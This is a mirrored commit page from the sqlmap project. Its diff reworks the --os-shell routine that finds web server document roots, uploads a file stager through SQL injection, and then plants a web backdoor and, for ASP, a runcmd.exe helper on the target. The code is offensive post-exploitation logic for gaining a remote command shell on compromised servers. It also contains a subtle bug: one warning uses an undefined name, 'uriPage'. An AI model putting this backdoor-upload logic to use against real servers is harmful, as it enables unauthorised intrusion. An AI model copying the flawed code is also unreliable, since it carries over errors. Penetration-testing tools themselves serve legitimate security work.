mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-04-25 11:23:44 +03:00
major revisit of --os-shell methods
This commit is contained in:
parent
ff7707579f
commit
b18397fbc7
|
@ -204,17 +204,14 @@ def paramToDict(place, parameters=None):
|
||||||
|
|
||||||
return testableParameters
|
return testableParameters
|
||||||
|
|
||||||
def getDocRoot(webApi=None):
|
def getDocRoot():
|
||||||
docRoot = None
|
docRoot = None
|
||||||
pagePath = directoryPath(conf.path)
|
pagePath = directoryPath(conf.path)
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
if webApi in ("php", "jsp"):
|
defaultDocRoot = ["C:/xampp/htdocs/", "C:/Inetpub/wwwroot/"]
|
||||||
defaultDocRoot = "C:/xampp/htdocs/"
|
|
||||||
else:
|
|
||||||
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
|
||||||
else:
|
else:
|
||||||
defaultDocRoot = "/var/www/"
|
defaultDocRoot = ["/var/www/"]
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
for absFilePath in kb.absFilePaths:
|
for absFilePath in kb.absFilePaths:
|
||||||
|
@ -227,7 +224,7 @@ def getDocRoot(webApi=None):
|
||||||
if isWindowsPath(absFilePath):
|
if isWindowsPath(absFilePath):
|
||||||
absFilePathWin = posixToNtSlashes(absFilePath)
|
absFilePathWin = posixToNtSlashes(absFilePath)
|
||||||
absFilePath = ntToPosixSlashes(absFilePath[2:])
|
absFilePath = ntToPosixSlashes(absFilePath[2:])
|
||||||
elif isWindowsDriveLetterPath(absFilePath): # E.g. C:/xampp/htdocs
|
elif isWindowsDriveLetterPath(absFilePath):
|
||||||
absFilePath = absFilePath[2:]
|
absFilePath = absFilePath[2:]
|
||||||
|
|
||||||
if pagePath in absFilePath:
|
if pagePath in absFilePath:
|
||||||
|
@ -252,53 +249,43 @@ def getDocRoot(webApi=None):
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "please provide the web server document root "
|
message = "please provide the web server document root "
|
||||||
message += "[%s]: " % defaultDocRoot
|
message += "[%s]: " % ",".join(root for root in defaultDocRoot)
|
||||||
inputDocRoot = readInput(message, default=defaultDocRoot)
|
inputDocRoot = readInput(message, default=defaultDocRoot)
|
||||||
|
|
||||||
if inputDocRoot:
|
if inputDocRoot:
|
||||||
docRoot = inputDocRoot
|
if isinstance(inputDocRoot, basestring):
|
||||||
|
docRoot = inputDocRoot.split(',')
|
||||||
|
else:
|
||||||
|
docRoot = inputDocRoot
|
||||||
else:
|
else:
|
||||||
docRoot = defaultDocRoot
|
docRoot = defaultDocRoot
|
||||||
|
|
||||||
return docRoot
|
return docRoot
|
||||||
|
|
||||||
def getDirs(webApi=None):
|
def getDirs():
|
||||||
directories = set()
|
directories = set("/")
|
||||||
|
|
||||||
if kb.os == "Windows":
|
|
||||||
if webApi in ("php", "jsp"):
|
|
||||||
defaultDirs = ["C:/xampp/htdocs/"]
|
|
||||||
else:
|
|
||||||
defaultDirs = ["C:/Inetpub/wwwroot/"]
|
|
||||||
else:
|
|
||||||
defaultDirs = ["/var/www/"]
|
|
||||||
|
|
||||||
if kb.docRoot and kb.docRoot not in defaultDirs:
|
|
||||||
defaultDirs.append(kb.docRoot)
|
|
||||||
|
|
||||||
if kb.absFilePaths:
|
if kb.absFilePaths:
|
||||||
infoMsg = "retrieved web server full paths: "
|
infoMsg = "retrieved web server full paths: "
|
||||||
infoMsg += "'%s'" % ", ".join(path for path in kb.absFilePaths)
|
infoMsg += "'%s'" % ", ".join(ntToPosixSlashes(path) for path in kb.absFilePaths)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
for absFilePath in kb.absFilePaths:
|
for absFilePath in kb.absFilePaths:
|
||||||
if absFilePath:
|
if absFilePath:
|
||||||
directory = directoryPath(absFilePath)
|
directory = directoryPath(absFilePath)
|
||||||
|
directory = ntToPosixSlashes(directory)
|
||||||
if isWindowsPath(directory):
|
|
||||||
directory = ntToPosixSlashes(directory)
|
|
||||||
|
|
||||||
if directory == '/':
|
|
||||||
continue
|
|
||||||
|
|
||||||
directories.add(directory)
|
directories.add(directory)
|
||||||
else:
|
else:
|
||||||
warnMsg = "unable to retrieve any web server path"
|
warnMsg = "unable to retrieve any web server path"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
|
||||||
|
if webDir:
|
||||||
|
directories.add(webDir)
|
||||||
|
|
||||||
message = "please provide any additional web server full path to try "
|
message = "please provide any additional web server full path to try "
|
||||||
message += "to upload the agent [%s]: " % ",".join(directory for directory in defaultDirs)
|
message += "to upload the agent [Enter for None]: "
|
||||||
inputDirs = readInput(message, default=",".join(directory for directory in defaultDirs))
|
inputDirs = readInput(message)
|
||||||
|
|
||||||
if inputDirs:
|
if inputDirs:
|
||||||
inputDirs = inputDirs.replace(", ", ",")
|
inputDirs = inputDirs.replace(", ", ",")
|
||||||
|
@ -307,8 +294,6 @@ def getDirs(webApi=None):
|
||||||
for inputDir in inputDirs:
|
for inputDir in inputDirs:
|
||||||
if inputDir:
|
if inputDir:
|
||||||
directories.add(inputDir)
|
directories.add(inputDir)
|
||||||
else:
|
|
||||||
[directories.add(directory) for directory in defaultDirs]
|
|
||||||
|
|
||||||
return directories
|
return directories
|
||||||
|
|
||||||
|
|
|
@ -173,8 +173,8 @@ class Web:
|
||||||
self.webApi = choices[int(choice) - 1]
|
self.webApi = choices[int(choice) - 1]
|
||||||
break
|
break
|
||||||
|
|
||||||
kb.docRoot = getDocRoot(self.webApi)
|
kb.docRoot = getDocRoot()
|
||||||
directories = getDirs(self.webApi)
|
directories = getDirs()
|
||||||
directories = list(directories)
|
directories = list(directories)
|
||||||
directories.sort()
|
directories.sort()
|
||||||
|
|
||||||
|
@ -185,97 +185,118 @@ class Web:
|
||||||
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
|
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
|
||||||
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
||||||
|
|
||||||
for directory in directories:
|
warned = set()
|
||||||
# Upload the file stager
|
success = False
|
||||||
self.__webFileInject(stagerContent, stagerName, directory)
|
|
||||||
requestDir = ntToPosixSlashes(directory)
|
|
||||||
|
|
||||||
if not requestDir:
|
for i in xrange(len(kb.docRoot)):
|
||||||
continue
|
if success:
|
||||||
|
break
|
||||||
|
|
||||||
if requestDir[-1] != '/':
|
for j in xrange(len(directories)):
|
||||||
requestDir += '/'
|
docRoot = kb.docRoot[i]
|
||||||
|
directory = directories[j]
|
||||||
|
|
||||||
requestDir = requestDir.replace(ntToPosixSlashes(kb.docRoot), "/")
|
if not all(isinstance(item, basestring) for item in [docRoot, directory]):
|
||||||
|
continue
|
||||||
|
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
|
||||||
|
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
|
||||||
|
|
||||||
if isWindowsDriveLetterPath(requestDir):
|
# '' or '/' -> 'docRoot'
|
||||||
requestDir = requestDir[2:]
|
if not directory:
|
||||||
|
localPath = docRoot
|
||||||
requestDir = normalizePath(requestDir).replace("//", "/")
|
uriPath = '/'
|
||||||
|
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
|
||||||
if requestDir[0] != '/':
|
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
||||||
requestDir = '/' + requestDir
|
localPath = "%s/%s" % (docRoot, directory)
|
||||||
|
uriPath = "/%s" % directory
|
||||||
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
|
||||||
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
|
|
||||||
self.webStagerUrl = ntToPosixSlashes(self.webStagerUrl.replace("./", "/"))
|
|
||||||
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
|
||||||
|
|
||||||
if "sqlmap file uploader" not in uplPage:
|
|
||||||
warnMsg = "unable to upload the file stager "
|
|
||||||
warnMsg += "on '%s'" % directory
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
continue
|
|
||||||
|
|
||||||
elif "<%" in uplPage or "<?" in uplPage:
|
|
||||||
warnMsg = "file stager uploaded "
|
|
||||||
warnMsg += "on '%s' but not dynamically interpreted ('%s')" % (directory, self.webStagerUrl)
|
|
||||||
logger.warn(warnMsg)
|
|
||||||
continue
|
|
||||||
|
|
||||||
elif self.webApi == "aspx":
|
|
||||||
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
|
||||||
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
|
||||||
|
|
||||||
infoMsg = "the file stager has been successfully uploaded "
|
|
||||||
infoMsg += "on '%s' ('%s')" % (directory, self.webStagerUrl)
|
|
||||||
logger.info(infoMsg)
|
|
||||||
|
|
||||||
if self.webApi == "asp":
|
|
||||||
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
|
|
||||||
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
|
|
||||||
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
|
||||||
|
|
||||||
if match:
|
|
||||||
backdoorDirectory = match.group(1)
|
|
||||||
else:
|
else:
|
||||||
|
localPath = directory
|
||||||
|
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
||||||
|
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
|
||||||
|
uriPath = uriPath.replace(docRoot, "/")
|
||||||
|
uriPath = "/%s" % normalizePath(uriPath)
|
||||||
|
uriPath = uriPath.replace("//", "/")
|
||||||
|
|
||||||
|
localPath = localPath.rstrip('/')
|
||||||
|
uriPath = uriPath.rstrip('/')
|
||||||
|
|
||||||
|
# Upload the file stager
|
||||||
|
self.__webFileInject(stagerContent, stagerName, localPath)
|
||||||
|
|
||||||
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
||||||
|
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
|
||||||
|
|
||||||
|
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||||
|
|
||||||
|
if "sqlmap file uploader" not in uplPage:
|
||||||
|
if localPath not in warned:
|
||||||
|
warnMsg = "unable to upload the file stager "
|
||||||
|
warnMsg += "on '%s'" % localPath
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
warned.add(localPath)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
|
elif "<%" in uplPage or "<?" in uplPage:
|
||||||
backdoorStream.file.truncate()
|
warnMsg = "file stager uploaded "
|
||||||
backdoorStream.read()
|
warnMsg += "on '%s' but not dynamically interpreted" % uriPage
|
||||||
backdoorStream.seek(0)
|
|
||||||
backdoorStream.write(backdoorContent)
|
|
||||||
|
|
||||||
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
|
|
||||||
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
|
|
||||||
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
|
|
||||||
self.webDirectory = backdoorDirectory
|
|
||||||
else:
|
|
||||||
continue
|
|
||||||
|
|
||||||
else:
|
|
||||||
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(directory) if kb.os == "Windows" else directory):
|
|
||||||
warnMsg = "backdoor has not been successfully uploaded "
|
|
||||||
warnMsg += "with file stager probably because of "
|
|
||||||
warnMsg += "lack of write permission."
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
message = "do you want to try the same method used "
|
elif self.webApi == "aspx":
|
||||||
message += "for the file stager? [y/N] "
|
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
||||||
getOutput = readInput(message, default="N")
|
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
||||||
|
|
||||||
if getOutput in ("y", "Y"):
|
infoMsg = "the file stager has been successfully uploaded "
|
||||||
self.__webFileInject(backdoorContent, backdoorName, directory)
|
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if self.webApi == "asp":
|
||||||
|
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
|
||||||
|
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
|
||||||
|
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
backdoorDirectory = match.group(1)
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
|
||||||
self.webDirectory = directory
|
backdoorStream.file.truncate()
|
||||||
|
backdoorStream.read()
|
||||||
|
backdoorStream.seek(0)
|
||||||
|
backdoorStream.write(backdoorContent)
|
||||||
|
|
||||||
infoMsg = "the backdoor has probably been successfully "
|
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
|
||||||
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
|
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
|
||||||
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
|
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl.rstrip('/'), backdoorName)
|
||||||
logger.info(infoMsg)
|
self.webDirectory = backdoorDirectory
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
|
||||||
break
|
else:
|
||||||
|
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if kb.os == "Windows" else localPath):
|
||||||
|
warnMsg = "backdoor has not been successfully uploaded "
|
||||||
|
warnMsg += "with file stager probably because of "
|
||||||
|
warnMsg += "lack of write permission."
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
message = "do you want to try the same method used "
|
||||||
|
message += "for the file stager? [y/N] "
|
||||||
|
getOutput = readInput(message, default="N")
|
||||||
|
|
||||||
|
if getOutput in ("y", "Y"):
|
||||||
|
self.__webFileInject(backdoorContent, backdoorName, localPath)
|
||||||
|
else:
|
||||||
|
continue
|
||||||
|
|
||||||
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
||||||
|
self.webDirectory = localPath
|
||||||
|
|
||||||
|
infoMsg = "the backdoor has probably been successfully "
|
||||||
|
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
|
||||||
|
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
success = True
|
||||||
|
|
||||||
|
break
|
||||||
|
|
Loading…
Reference in New Issue
Block a user